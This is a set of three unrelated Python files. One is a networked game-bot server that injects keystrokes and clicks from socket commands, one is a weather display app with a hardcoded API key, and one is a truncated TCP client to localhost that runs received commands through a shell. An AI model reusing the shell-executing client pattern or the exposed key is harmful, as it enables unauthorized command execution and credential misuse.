v2 regroup command self.map_rect = None self.level_name = None self.speed = 20 self.rects = {} self.speeds = {} self.num_names = [] self.load_level_rects() self.key_map = self.load_key_dict() self.player_pos = None self.regroup_try_count = 0 # This is for the pag vs custom input town mode # False means custom mode, true means pag self.inputmode = False def try_toggle_map(self): # pydirectinput.keyDown("m") self.press_key(self.key_map["m"]) time.sleep(0.05) # pydirectinput.keyUp("m") self.release_key(self.key_map["m"]) time.sleep(0.08) def string_to_rect(self, string: str): return [int(i) for i in string.split(',')] def load_level_rects(self): # Load the translation from name to num with open("lvl_name_num.txt") as f: self.num_names = f.readlines() for i, entry in enumerate(self.num_names): self.num_names[i] = entry.split("-") # Load the num to rect catalogue with open("catalogue.txt") as f: nums_rects = f.readlines() for i, entry in enumerate(nums_rects): nums_rects[i] = entry.split("-") # Finally load the level speeds with open("lvl_speed.txt") as f: num_speeds = f.readlines() for i, entry in enumerate(num_speeds): num_speeds[i] = entry.split("|") # Then add each rect to the rects dict against name # Also add each speed to the speed dict against name for number, name in self.num_names: for num, area, rect in nums_rects: if area == "FM" and num == number: self.rects[name.rstrip().replace(" ", "")] = rect.rstrip() if "1" in name: self.rects[name.rstrip().replace( " ", "").replace("1", "L")] = rect.rstrip() if "ri" in name: self.rects[name.rstrip().replace( " ", "").replace("ri", "n").replace("1", "L")] = rect.rstrip() break for num, speed in num_speeds: if num == number: self.speeds[name.rstrip().replace( " ", "")] = float(speed.rstrip()) if "1" in name: self.speeds[name.rstrip().replace( " ", "").replace("1", "L")] = float(speed.rstrip()) if "ri" in name: self.speeds[name.rstrip().replace( " ", "").replace("ri", "n").replace("1", "L")] = float(speed.rstrip()) break def move_mouse_centre(self): ctypes.windll.user32.SetCursorPos(self.centre_x, self.centre_y) def detect_name(self): # get an updated image of the game image = self.plyrname_wincap.get_screenshot() # pre-process the image image = self.plyrmname_vision.apply_hsv_filter( image, self.plyrname_filt) rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) results = pytesseract.image_to_data( rgb, output_type=pytesseract.Output.DICT, lang='eng') str_list = filter(None, results["text"]) with open("mainplayer.txt") as f: longest = f.readline() # try: # longest = max(str_list, key=len) # except: # with open("mainplayer.txt") as f: # longest = f.readline() return longest def grab_current_lan_ip(self): output = subprocess.run( "ipconfig", capture_output=True).stdout.decode() _, output = output.split("IPv4 Address. . . . . . . . . . . : 169") output, _ = output.split("Subnet Mask", maxsplit=1) current_lan_ip = "169" + output.strip() return current_lan_ip def convert_pynput_to_pag(self, button): PYNPUT_SPECIAL_CASE_MAP = { 'alt_l': 'altleft', 'alt_r': 'altright', 'alt_gr': 'altright', 'caps_lock': 'capslock', 'ctrl_l': 'ctrlleft', 'ctrl_r': 'ctrlright', 'page_down': 'pagedown', 'page_up': 'pageup', 'shift_l': 'shiftleft', 'shift_r': 'shiftright', 'num_lock': 'numlock', 'print_screen': 'printscreen', 'scroll_lock': 'scrolllock', } # example: 'Key.F9' should return 'F9', 'w' should return as 'w' cleaned_key = button.replace('Key.', '') if cleaned_key in PYNPUT_SPECIAL_CASE_MAP: return PYNPUT_SPECIAL_CASE_MAP[cleaned_key] return cleaned_key def convert_ratio_to_click(self, ratx, raty): # This will grab the current rectangle coords of game window # and then turn the ratio of positions versus the game window # into true x,y coords self.game_wincap.update_window_position(border=False) # Turn the ratios into relative relx = int(ratx * self.game_wincap.w) rely = int(raty * self.game_wincap.h) # Turn the relative into true truex = int((relx + self.game_wincap.window_rect[0])) truey = int((rely + self.game_wincap.window_rect[1])) return truex, truey def get_relative_dists(self): print(self.main_player) print(self.curr_player) # format is currplayer x, y, mainplayer x, y positions = [0, 0, 0, 0] # get an updated image of the game image = self.regroup_wincap.get_screenshot() # pre-process the image image = self.regroup_vision.apply_hsv_filter( image, self.regroup_filter) rgb = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) results = pytesseract.image_to_data( rgb, output_type=pytesseract.Output.DICT, lang='eng') no_find_curr = True no_find_main = True for i in range(0, len(results["text"])): if self.main_player in results["text"][i]: no_find_main = False positions[2] = results["left"][i] + (results["width"][i]/2) positions[3] = results["top"][i] + (results["height"][i]/2) elif self.curr_player in results["text"][i]: no_find_curr = False positions[0] = results["left"][i] + (results["width"][i]/2) positions[1] = results["top"][i] + (results["height"][i]/2) xrel = positions[2] - positions[0] yrel = positions[1] - positions[3] if no_find_curr or no_find_main: return False else: return[xrel, yrel] def move_towards(self, dir, dists): if dir == "x": dist = dists[0] if dist > 0: key = "left" else: key = "right" elif dir == "y": dist = dists[1] if dist > 0: key = "down" else: key = "up" if abs(dist) > 5: # pydirectinput.keyDown(key) self.press_key(self.key_map[key], key) def resolve_direction(self, dir): if dir == "x": key1 = "left" key2 = "right" index = 0 elif dir == "y": key1 = "down" key2 = "up" index = 1 else: return False # grab the first relative distance values first_rel_dists = self.get_relative_dists() # if was able to detect both if first_rel_dists: # then start resolving the x direction start_time = time.time() self.move_towards(dir, first_rel_dists) move_time = time.time() - start_time if move_time < 0.05: time.sleep(0.05-move_time) for key in ["up", "down", "left", "right"]: # pydirectinput.keyUp(key) self.release_key(self.key_map[key], key) end_time = time.time() - start_time last_rel_dists = self.get_relative_dists() if not last_rel_dists: return False dist_moved = abs(last_rel_dists[index] - first_rel_dists[index]) percent_moved = dist_moved / abs(first_rel_dists[index]) if percent_moved > 1.1: # Need to reverse direction if first_rel_dists[index] > 0: # pydirectinput.keyDown(key1) self.press_key(self.key_map[key1], key1) time.sleep((end_time)/percent_moved) # pydirectinput.keyUp(key1) self.release_key(self.key_map[key1], key1) else: # pydirectinput.keyDown(key2) self.press_key(self.key_map[key2], key2) time.sleep((end_time)/percent_moved) # pydirectinput.keyUp(key2) self.release_key(self.key_map[key2], key2) elif percent_moved < 0.9: # Need to continue travel_time_reqd = (1-percent_moved)*(end_time) start_time = time.time() self.move_towards(dir, last_rel_dists) move_time = time.time() - start_time if move_time < travel_time_reqd: time.sleep(travel_time_reqd-move_time) for key in ["up", "down", "left", "right"]: # pydirectinput.keyUp(key) self.release_key(self.key_map[key], key) def regroup(self): # first resolve the x direction self.resolve_direction("x") # and now resolve the y direction self.resolve_direction("y") def auto_loot(self): consec_xpress = 0 while self.autoloot_enabled: if self.loot_if_available(): consec_xpress += 1 if not consec_xpress > 6: time.sleep(0.01) # pydirectinput.keyUp("x") self.release_key(self.key_map["x"]) time.sleep(0.225) else: time.sleep(0.4) else: time.sleep(0.1) consec_xpress = 0 def autoloot_thread_start(self): t = threading.Thread(target=self.auto_loot, daemon=True) self.autoloot_enabled = True t.start() def loot_if_available(self): # get an updated image of the game at specified area xprompt_screenshot = self.xprompt_wincap.get_screenshot() # pre-process the image to help with detection xprompt_output_image = self.xprompt_vision.apply_hsv_filter( xprompt_screenshot, self.xprompt_filter) # do object detection, this time grab rectangles xprompt_rectangles = self.xprompt_vision.find( xprompt_output_image, threshold=0.61, epsilon=0.5) # then return answer to whether currently in dungeon if len(xprompt_rectangles) == 1: self.press_key(self.key_map["x"]) # pydirectinput.keyDown("x") # keyup performed in main loop # return True for autoloot return True def get_monitor_scaling(self): user32 = ctypes.windll.user32 w_orig = GetSystemMetrics(0) user32.SetProcessDPIAware() [w, h] = [user32.GetSystemMetrics(0), user32.GetSystemMetrics(1)] return float(("{:.2f}".format(w/w_orig))) def batch_handle(self, lines: str): data = lines.split("\n") data.pop(0) converted = [] # now convert each line into a list for line in data: converted.append(line.rstrip('\n').split("|")) # first sleep until the first action time # print(converted) try: time.sleep(float(converted[0][2])) for idx, line in enumerate(converted): action_start_time = time.time() # do the action if line[1] == "keyDown": # print("Would press {} down now".format(line[0])) k = self.convert_pynput_to_pag(line[0].strip("'")) pydirectinput.keyDown(k) # self.press_key(self.key_map[k], k) elif line[1] == "keyUp": # print("Would press {} down now".format(line[0])) k = self.convert_pynput_to_pag(line[0].strip("'")) pydirectinput.keyUp(k) # self.press_key(self.key_map[k], k) elif line[1] == "click": xrat, yrat = line[3].split(",") # print("Would click at {},{} now".format(x, y)) x, y = self.convert_ratio_to_click( float(xrat), float(yrat)) x = int(x) y = int(y) # pydirectinput.click(x, y, duration=0.025) ctypes.windll.user32.SetCursorPos(x, y) if line[0] == "Button.left": ctypes.windll.user32.mouse_event( 0x0002, 0, 0, 0, 0) ctypes.windll.user32.mouse_event( 0x0004, 0, 0, 0, 0) elif line[0] == "Button.right": pydirectinput.rightClick(duration=0.01) if line[1] == "questhandle": self.quest_handle.start_quest_handle() try: next_action = converted[idx + 1] if next_action[0] == "": break except IndexError: # this was the last action in the list break elapsed_time = float(next_action[2]) - float(line[2]) elapsed_time -= (time.time() - action_start_time) if elapsed_time < 0: elapsed_time = 0 time.sleep(elapsed_time) except: # This will only occur if there is an empty batch pass def receive_message(self, client_socket): try: message_header = client_socket.recv(self.HEADER_LENGTH) if not len(message_header): return False message_length = int(message_header.decode('utf-8').strip()) return {'header': message_header, 'data': client_socket.recv(message_length)} except: return False def start(self): while True: read_sockets, _, exception_sockets = select.select( self.sockets_list, [], self.sockets_list) for notified_socket in read_sockets: if notified_socket == self.server_socket: client_socket, client_address = self.server_socket.accept() user = self.receive_message(client_socket) if user is False: continue self.sockets_list.append(client_socket) self.clients[client_socket] = user print('Accepted new connection from {}:{}, username: {}'.format( *client_address, user['data'].decode('utf-8'))) # Else existing socket is sending a message else: message = self.receive_message(notified_socket) if message is False: print('Closed connection from: {}'.format( self.clients[notified_socket]['data'].decode('utf-8'))) self.sockets_list.remove(notified_socket) del self.clients[notified_socket] continue decrypted = self.fern.decrypt(message["data"]) self.do_message_checks(decrypted) for notified_socket in exception_sockets: self.sockets_list.remove(notified_socket) del self.clients[notified_socket] def do_message_checks(self, decrypted: bytes): if self.print_only: print(decrypted.decode()) else: if (time.time() - self.last_mouse_move) >= 10: self.move_mouse_centre() self.last_mouse_move = time.time() button, direction = str( decrypted.decode("utf-8")).split(",", 1) if button == "Button.left": xrat, yrat = direction.split("|") # Need to convert from ratio to click x, y = self.convert_ratio_to_click( float(xrat), float(yrat)) # and then click at that location x = int(x) y = int(y) # pydirectinput.click(x, y, duration=0.025) ctypes.windll.user32.SetCursorPos(x, y) ctypes.windll.user32.mouse_event( 0x0002, 0, 0, 0, 0) ctypes.windll.user32.mouse_event( 0x0004, 0, 0, 0, 0) elif button == "Button.right": xrat, yrat = direction.split("|") x, y = self.convert_ratio_to_click( float(xrat), float(yrat)) x = int(x) y = int(y) ctypes.windll.user32.SetCursorPos(x, y) ctypes.windll.user32.mouse_event( 0x0008, 0, 0, 0, 0) time.sleep(0.03) ctypes.windll.user32.mouse_event( 0x00010, 0, 0, 0, 0) elif button == "quit": print("Shutting down server") os._exit(1) elif button == "revive": pydirectinput.keyDown("x") self.press_key(self.key_map["x"]) time.sleep(0.05) pydirectinput.keyUp("x") self.release_key(self.key_map["x"]) elif button == "mainplayer": self.curr_player = direction print("Admin player name is "+direction) elif button == "'x'": if self.support_only: if direction == "down": self.loot_if_available() else: if self.inputmode: pydirectinput.keyUp("x") else: self.release_key(self.key_map["x"]) else: if self.allowx: if direction == "down": if self.inputmode: pydirectinput.keyDown("x") else: self.press_key(self.key_map["x"]) else: if self.inputmode: pydirectinput.keyUp("x") else: self.release_key(self.key_map["x"]) elif direction == "down": self.loot_if_available() else: if self.inputmode: pydirectinput.keyUp("x") else: self.release_key(self.key_map["x"]) elif button == "regroup": self.regroupv2(direction) elif button == "autoloot": if direction == "on": self.autoloot_thread_start() else: self.autoloot_enabled = False elif button == "inputmode": if direction == "1": self.inputmode = True else: self.inputmode = False elif button == "questhandle": self.quest_handle.start_quest_handle() elif button == "batch": self.batch_handle(direction) elif button == "clearall": self.clear_all() elif button == "sellrepair": os.popen('python sell_repair.py') elif button == "mainplayer": self.main_player = direction print("Mainplayer={}".format(direction)) elif button == "xallow": if direction == "1": self.allowx = True else: self.allowx = False elif direction == "down": key = self.convert_pynput_to_pag( button.replace("'", "")) if self.move_only: button = button.strip() if button not in self.move_only_exclude_keys: if self.inputmode: pydirectinput.keyDown(key) else: self.press_key(self.key_map[key], key) elif self.support_only: k = random.choice(self.support_keys) if self.inputmode: pydirectinput.keyDown(k) else: self.press_key(self.key_map[k], k) else: if self.inputmode: pydirectinput.keyDown(key) else: self.press_key(self.key_map[key], key) elif direction == "up": key = self.convert_pynput_to_pag( button.replace("'", "")) if self.move_only: if button in self.move_only_exclude_keys: if self.inputmode: pydirectinput.keyUp(key) else: self.release_key(self.key_map[key], key) else: if self.inputmode: pydirectinput.keyUp(key) else: self.release_key(self.key_map[key], key) def load_key_dict(self): KEYBOARD_MAPPING = { 'escape': 0x01, 'esc': 0x01, 'f1': 0x3B, 'f2': 0x3C, 'f3': 0x3D, 'f4': 0x3E, 'f5': 0x3F, 'f6': 0x40, 'f7': 0x41, 'f8': 0x42, 'f9': 0x43, 'f10': 0x44, 'f11': 0x57, 'f12': 0x58, 'printscreen': 0xB7, 'prntscrn': 0xB7, 'prtsc': 0xB7, 'prtscr': 0xB7, 'scrolllock': 0x46, 'pause': 0xC5, '`': 0x29, '1': 0x02, '2': 0x03, '3': 0x04, '4': 0x05, '5': 0x06, '6': 0x07, '7': 0x08, '8': 0x09, '9': 0x0A, '0': 0x0B, '-': 0x0C, '=': 0x0D, 'backspace': 0x0E, 'insert': 0xD2 + 1024, 'home': 0xC7 + 1024, 'pageup': 0xC9 + 1024, 'pagedown': 0xD1 + 1024, # numpad 'numlock': 0x45, 'divide': 0xB5 + 1024, 'multiply': 0x37, 'subtract': 0x4A, 'add': 0x4E, 'decimal': 0x53, 'numpadenter': 0x9C + 1024, 'numpad1': 0x4F, 'numpad2': 0x50, 'numpad3': 0x51, 'numpad4': 0x4B, 'numpad5': 0x4C, 'numpad6': 0x4D, 'numpad7': 0x47, 'numpad8': 0x48, 'numpad9': 0x49, 'numpad0': 0x52, # end numpad 'tab': 0x0F, 'q': 0x10, 'w': 0x11, 'e': 0x12, 'r': 0x13, 't': 0x14, 'y': 0x15, 'u': 0x16, 'i': 0x17, 'o': 0x18, 'p': 0x19, '[': 0x1A, ']': 0x1B, '\\': 0x2B, 'del': 0xD3 + 1024, 'delete': 0xD3 + 1024, 'end': 0xCF + 1024, 'capslock': 0x3A, 'a': 0x1E, 's': 0x1F, 'd': 0x20, 'f': 0x21, 'g': 0x22, 'h': 0x23, 'j': 0x24, 'k': 0x25, 'l': 0x26, ';': 0x27, "'": 0x28, 'enter': 0x1C, 'return': 0x1C, 'shift': 0x2A, 'shiftleft': 0x2A, 'z': 0x2C, 'x': 0x2D, 'c': 0x2E, 'v': 0x2F, 'b': 0x30, 'n': 0x31, 'm': 0x32, ',': 0x33, '.': 0x34, '/': 0x35, 'shiftright': 0x36, 'ctrl': 0x1D, 'ctrlleft': 0x1D, 'win': 0xDB + 1024, 'winleft': 0xDB + 1024, 'alt': 0x38, 'altleft': 0x38, ' ': 0x39, 'space': 0x39, 'altright': 0xB8 + 1024, 'winright': 0xDC + 1024, 'apps': 0xDD + 1024, 'ctrlright': 0x9D + 1024, 'up': MapVirtualKey(0x26, MAPVK_VK_TO_VSC), 'left': MapVirtualKey(0x25, MAPVK_VK_TO_VSC), 'down': MapVirtualKey(0x28, MAPVK_VK_TO_VSC), 'right': MapVirtualKey(0x27, MAPVK_VK_TO_VSC), } return KEYBOARD_MAPPING def press_key(self, hexKeyCode, key="T"): if key in ["up", "down", "left", "right"]: # Do the primary key hexKeyCode2 = 0xE0 extra = ctypes.c_ulong(0) ii_ = Input_I() ii_.ki = KeyBdInput(0, hexKeyCode2, 0x0008, 0, ctypes.pointer(extra)) x = Input(ctypes.c_ulong(1), ii_) SendInput(1, ctypes.pointer(x), ctypes.sizeof(x)) # then the arrow itself ii_.ki = KeyBdInput(0, hexKeyCode, 0x0001, 0, ctypes.pointer(extra)) x = Input(ctypes.c_ulong(1), ii_) ctypes.windll.user32.SendInput( 1, ctypes.pointer(x), ctypes.sizeof(x)) SendInput(1, ctypes.pointer(x), ctypes.sizeof(x)) else: extra = ctypes.c_ulong(0) ii_ = Input_I() ii_.ki = KeyBdInput(0, hexKeyCode, 0x0008, 0, ctypes.pointer(extra)) x = Input(ctypes.c_ulong(1), ii_) ctypes.windll.user32.SendInput( 1, ctypes.pointer(x), ctypes.sizeof(x)) def release_key(self, hexKeyCode, key="T"): keybdFlags = 0x0008 | 0x0002 if key in ["up", "down", "left", "right"]: keybdFlags |= 0x0001 extra = ctypes.c_ulong(0) ii_ = Input_I() ii_.ki = KeyBdInput(0, hexKeyCode, keybdFlags, 0, ctypes.pointer(extra)) x = Input(ctypes.c_ulong(1), ii_) ctypes.windll.user32.SendInput(1, ctypes.pointer(x), ctypes.sizeof(x)) if key in ["up", "down", "left", "right"] and ctypes.windll.user32.GetKeyState(0x90): hexKeyCode = 0xE0 extra = ctypes.c_ulong(0) ii_ = Input_I() ii_.ki = KeyBdInput(0, hexKeyCode, 0x0008 | 0x0002, 0, ctypes.pointer(extra)) x = Input(ctypes.c_ulong(1), ii_) ctypes.windll.user32.SendInput( 1, ctypes.pointer(x), ctypes.sizeof(x)) def filter_blackwhite_invert(self, filter, existing_image): hsv = cv2.cvtColor(existing_image, cv2.COLOR_BGR2HSV) hsv_filter = filter # add/subtract saturation and value h, s, v = cv2.split(hsv) s = self.shift_channel(s, hsv_filter.sAdd) s = self.shift_channel(s, -hsv_filter.sSub) v = self.shift_channel(v, hsv_filter.vAdd) v = self.shift_channel(v, -hsv_filter.vSub) hsv = cv2.merge([h, s, v]) # Set minimum and maximum HSV values to display lower = np.array([hsv_filter.hMin, hsv_filter.sMin, hsv_filter.vMin]) upper = np.array([hsv_filter.hMax, hsv_filter.sMax, hsv_filter.vMax]) # Apply the thresholds mask = cv2.inRange(hsv, lower, upper) result = cv2.bitwise_and(hsv, hsv, mask=mask) # convert back to BGR img = cv2.cvtColor(result, cv2.COLOR_HSV2BGR) # now change it to greyscale grayImage = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # now change it to black and white (thresh, blackAndWhiteImage) = cv2.threshold( grayImage, 67, 255, cv2.THRESH_BINARY) # now invert it inverted = (255-blackAndWhiteImage) inverted = cv2.cvtColor(inverted, cv2.COLOR_GRAY2BGR) return inverted def shift_channel(self, c, amount): if amount > 0: lim = 255 - amount c[c >= lim] = 255 c[c < lim] += amount elif amount < 0: amount = -amount lim = amount c[c <= lim] = 0 c[c > lim] -= amount return c def detect_level_name(self): wincap = WindowCapture(self.gamename, [1121, 31, 1248, 44]) existing_image = wincap.get_screenshot() filter = HsvFilter(0, 0, 0, 169, 34, 255, 0, 0, 0, 0) vision_limestone = Vision('plyr.jpg') # cv2.imwrite("testy2.jpg", existing_image) save_image = vision_limestone.apply_hsv_filter(existing_image, filter) # cv2.imwrite("testy3.jpg", save_image) gray_image = cv2.cvtColor(save_image, cv2.COLOR_BGR2GRAY) (thresh, blackAndWhiteImage) = cv2.threshold( gray_image, 129, 255, cv2.THRESH_BINARY) # now invert it inverted = (255-blackAndWhiteImage) save_image = cv2.cvtColor(inverted, cv2.COLOR_GRAY2BGR) rgb = cv2.cvtColor(save_image, cv2.COLOR_BGR2RGB) tess_config = '--psm 7 --oem 3 -c tessedit_char_whitelist=01234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' result = pytesseract.image_to_string( rgb, lang='eng', config=tess_config)[:-2] return result def detect_bigmap_open(self): wincap = WindowCapture(self.gamename, custom_rect=[819, 263, 855, 264]) image = wincap.get_screenshot() cv2.imwrite("testy.jpg", image) a, b, c = [int(i) for i in image[0][0]] d, e, f = [int(i) for i in image[0][-2]] if a+b+c < 30: if d+e+f > 700: # print("Working") return True return False def grab_player_pos(self): if not self.map_rect: wincap = WindowCapture(self.gamename) else: wincap = WindowCapture(self.gamename, self.map_rect) filter = HsvFilter(34, 160, 122, 50, 255, 255, 0, 0, 0, 0) image = wincap.get_screenshot() save_image = self.filter_blackwhite_invert(filter, image) vision_limestone = Vision('plyr.jpg') rectangles = vision_limestone.find( save_image, threshold=0.31, epsilon=0.5) points = vision_limestone.get_click_points(rectangles) try: x, y = points[0] if not self.map_rect: return x, y else: x += self.map_rect[0] y += self.map_rect[1] return x, y except: return False def pre_regroup_updates(self): self.level_name = self.detect_level_name() # Then grab the right rect for the level try: self.map_rect = self.string_to_rect(self.rects[self.level_name]) self.speed = self.speeds[self.level_name] except: try: best_match = process.extractOne( self.level_name, self.rects, score_cutoff=0.8) self.map_rect = self.string_to_rect( self.rects[best_match]) self.speed = self.speeds[best_match] except: self.map_rect = [362, 243, 1105, 748] self.speed = 30 # Then open the map if not self.detect_bigmap_open(): self.try_toggle_map() self.player_pos = self.grab_player_pos() def regroupv2(self, coords: str): x, y = coords.split("|") # first perform the pre-regroup updates self.pre_regroup_updates() # Then calculate the relative positions try: relx = self.player_pos[0] - int(x) rely = int(y) - self.player_pos[1] # First take care of the x-dir if relx != 0: if relx > 150: raise Exception else: self.resolve_dir_v2(relx, "x") if rely != 0: if rely > 150: raise Exception else: self.resolve_dir_v2(rely, "y") except: if self.regroup_try_count < 2: self.regroup_try_count += 1 pydirectinput.keyDown("right") time.sleep(0.01) pydirectinput.keyUp("right") self.regroupv2(coords) # Finally close the map # if self.detect_bigmap_open(): # self.try_toggle_map() self.player_pos = [0, 0] self.regroup_try_count = 0 def resolve_dir_v2(self, value, dir): if dir == "x": if value > 0: key = "left" else: key = "right" elif dir == "y": if value > 0: key = "down" else: key = "up" time_reqd = abs(value/self.speed) self.press_key(self.key_map[key], key) time.sleep(time_reqd-0.003) self.release_key(self.key_map[key], key) def clear_all(self): if self.detect_menu_open(): self.close_esc_menu() elif self.detect_bigmap_open(): self.close_map() def detect_menu_open(self): wincap = WindowCapture(self.gamename, custom_rect=[595, 278, 621, 479]) image = wincap.get_screenshot() cv2.imwrite("testy.jpg", image) a, b, c = [int(i) for i in image[0][0]] d, e, f = [int(i) for i in image[0][-1]] # print("Sum abc:{}, def:{}".format(a+b+c, d+e+f)) if a+b+c > 700: if d+e+f > 700: return True return False def close_map(self): pydirectinput.click( int(self.scaling*859+self.game_wincap.window_rect[0]), int(self.scaling*260+self.game_wincap.window_rect[1])) def close_esc_menu(self): pydirectinput.click( int(self.scaling*749+self.game_wincap.window_rect[0]), int(self.scaling*280+self.game_wincap.window_rect[1])) if __name__ == "__main__": lst = RHBotArrayServer(print_only=False) lst.start()
weather.py
################################################################################ # weather.py #------------------------------------------------------------------------------- # Weather app based on openweathermap.org. # # By Malcolm Stagg # # Copyright (c) 2021 SODIUM-24, LLC # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # ################################################################################ import time import datetime import os import requests import threading from ..app_base import AppBase class WeatherUpdater(object): """ Class to update weather information periodically """ def __init__(self): self.config = { "latitude": None, "longitude": None, "units": "imperial" } self.latitude = None self.longitude = None self.last_refresh = None self.weather_data = None self.temperature = None self.current_weather = None self.weather_main = None self.weather_description = None self.weather_icon_type = None self.weather_icon_type = None self.weather_icon_url = None self.weather_icon_filename = None self.update_weather_event = threading.Event() self.stop_event = threading.Event() self._update_config() def set_config(self, config): if config != self.config: self.config.update(config) self._update_config() elif self.latitude is None or self.longitude is None: self._update_config() def start(self): self.weather_update_thread = threading.Thread(target=self._do_weather_update) self.weather_update_thread.daemon = True self.weather_update_thread.start() def stop(self): if self.weather_update_thread is not None: self.stop_event.set() self.update_weather_event.set() self.weather_update_thread.join() self.weather_update_thread = None def update(self): self.update_weather_event.set() def _do_weather_update(self): while not self.stop_event.is_set(): self.update_weather_event.wait() if self.stop_event.is_set(): break try: needs_refresh = False if self.last_refresh is None: needs_refresh = True else: if self.weather_data is not None: needs_refresh = (time.time() - self.last_refresh) > 60.0 else: needs_refresh = (time.time() - self.last_refresh) > 30.0 if needs_refresh: try: print("Retrieving weather data for (%f, %f)" % (self.latitude, self.longitude)) self.weather_data = requests.get("https://openweathermap.org/data/2.5/onecall?lat=%f&lon=%f&units=%s&appid=439d4b804bc8187953eb36d2a8c26a02" % (self.latitude, self.longitude, self.units)).json() except Exception as err: print("Hit exception: %s" % err) print("Weather data: %s" % self.weather_data) self.temperature = self.weather_data.get("current", {}).get("temp") self.current_weather = self.weather_data.get("current", {}).get("weather", []) print("temperature: %f" % self.temperature) if len(self.current_weather) > 0: print("weather: %s" % self.current_weather[0]) self.weather_main = self.current_weather[0]["main"] self.weather_description = self.current_weather[0]["description"] self.weather_icon_type = self.current_weather[0]["icon"] if self.weather_icon_type is not None: weather_icon_filename = "/tmp/%s.png" % self.weather_icon_type self.weather_icon_url = "https://openweathermap.org/img/wn/%s@2x.png" % self.weather_icon_type print("icon: %s" % self.weather_icon_url) if not os.path.exists(weather_icon_filename): icon_image = requests.get(self.weather_icon_url).content with open("/tmp/%s.png" % self.weather_icon_type, "wb") as f: f.write(icon_image) self.weather_icon_filename = weather_icon_filename self.last_refresh = time.time() self.update_weather_event.clear() except Exception as err: print("Hit exception: %s" % err) time.sleep(5.0) def _update_config(self): self.units = self.config.get("units", "imperial") self._get_location() self.update_weather_event.set() def _get_location(self): if self.config.get("latitude") is not None and self.config.get("longitude") is not None: self.latitude = self.config["latitude"] self.longitude = self.config["longitude"] else: try: ip_info = requests.get("https://ipapi.co/json/").json() self.latitude = ip_info["latitude"] self.longitude = ip_info["longitude"] except Exception as err: print("Hit exception: %s" % err) pass weather_updater = WeatherUpdater() weather_updater.start() class Weather(AppBase): """ App to display the current weather """ def __init__(self, config, app_config, *args, **kwargs): """ Initialize the app """ super(Weather, self).__init__(config, app_config, *args, **kwargs) global weather_updater weather_updater.set_config(app_config) weather_updater.update() def run(self): """ Main routine to display the weather """ image_control = self.create_control("image", "image_0") image_control.x = 0 image_control.y = 0 image_control.width = self.offscreen_canvas.width image_control.height = self.offscreen_canvas.height temp_control = self.create_control("text", "text_temperature") temp_control.font = "7x13" temp_control.color = [255, 255, 255] temp_control.text = "" temp_control.x = self.offscreen_canvas.width/2 temp_control.y = 15 temp_control.align = "center" temp_control.scroll = "none" weather_control = self.create_control("text", "text_weather") weather_control.font = "6x9" weather_control.color = [255, 255, 255] weather_control.text = "" weather_control.x = self.offscreen_canvas.width/2 weather_control.y = self.offscreen_canvas.height-5 weather_control.align = "center" weather_control.scroll = "auto" loading_control = self.create_control("text", "text_loading") loading_control.font = "6x9" loading_control.color = [255, 255, 255] loading_control.text = "loading..." loading_control.x = self.offscreen_canvas.width/2 loading_control.y = self.offscreen_canvas.height/2 loading_control.align = "center" loading_control.scroll = "auto" global weather_updater last_refresh = None update_rate = 0.1 while not self.stop_event.wait(update_rate): weather_updater.update() if weather_updater.last_refresh != last_refresh: loading_control.enabled = False last_refresh = weather_updater.last_refresh if weather_updater.weather_icon_filename is not None: if os.path.exists(weather_updater.weather_icon_filename): image_control.filename = weather_updater.weather_icon_filename if weather_updater.temperature is not None: if weather_updater.units == "metric": temp_control.text = u"%d\u00b0C" % int(round(weather_updater.temperature)) else: temp_control.text = u"%d\u00b0F" % int(round(weather_updater.temperature)) if weather_updater.weather_main is not None: weather_control.text = weather_updater.weather_main if weather_updater.weather_icon_filename is not None and os.path.exists(weather_updater.weather_icon_filename): image_control.filename = weather_updater.weather_icon_filename # update the display buffer with image data from the controls self.update() # redraw the display self.draw() if weather_control.static: update_rate = 1.0 else: update_rate = 0.1
terminal.py
import json import os import platform import socket import struct import multiprocessing import subprocess class Terminal(object): def __init__(self): self.ip_port = ("127.0.0.1", 8090) self.back_log = 5 self.buf_size = 1024 self.tcp_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.tcp_client.connect(self.ip_port) self.base_path = os.path.expanduser('~') def process(self, process): self.send_data(process) def recv_data(self): data_bytes = self.tcp_client.recv(4) # 接数据 data_length = struct.unpack('i', data_bytes)[0] # 解压缩值 int 4 字节,获取数据长度 # 接收数据 recv_size = 0 recv_data = b'' while recv_size < data_length: recv_data += self.tcp_client.recv(self.buf_size) recv_size = len(recv_data) recv_data = recv_data.decode('utf-8') data = json.loads(recv_data) return data["data"] def send_data(self, msg): """ 发送数据 :param msg: 数据 :return: """ # 报头+数据 data_info = { "data_size": len(msg), "data": msg } data_json = json.dumps(data_info) # 压缩数据 data_bytes = bytes(data_json, encoding='utf-8') # 转二进制 data_length = struct.pack('i', len(data_bytes)) # 压缩值 int 4 字节 self.tcp_client.send(data_length) # 发送数据长度 self.tcp_client.sendall(data_bytes) # 发送数据 @staticmethod def subprocess_execute(cmd, cwd=None): """ 执行命令返回结果 :param cwd: 命令路径 :param cmd: 命令 :return: 返回输出 """ res = subprocess.Popen( cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=cwd ) stdout, stderr = res.communicate() # print(stdout, stderr) # if stdout: # print(stdout.decode("gbk")) # if stderr: # print(stderr.decode("gbk")) res_info_list = [] platform_sys = platform.system() if platform_sys == "Windows": if stdout: res_info = 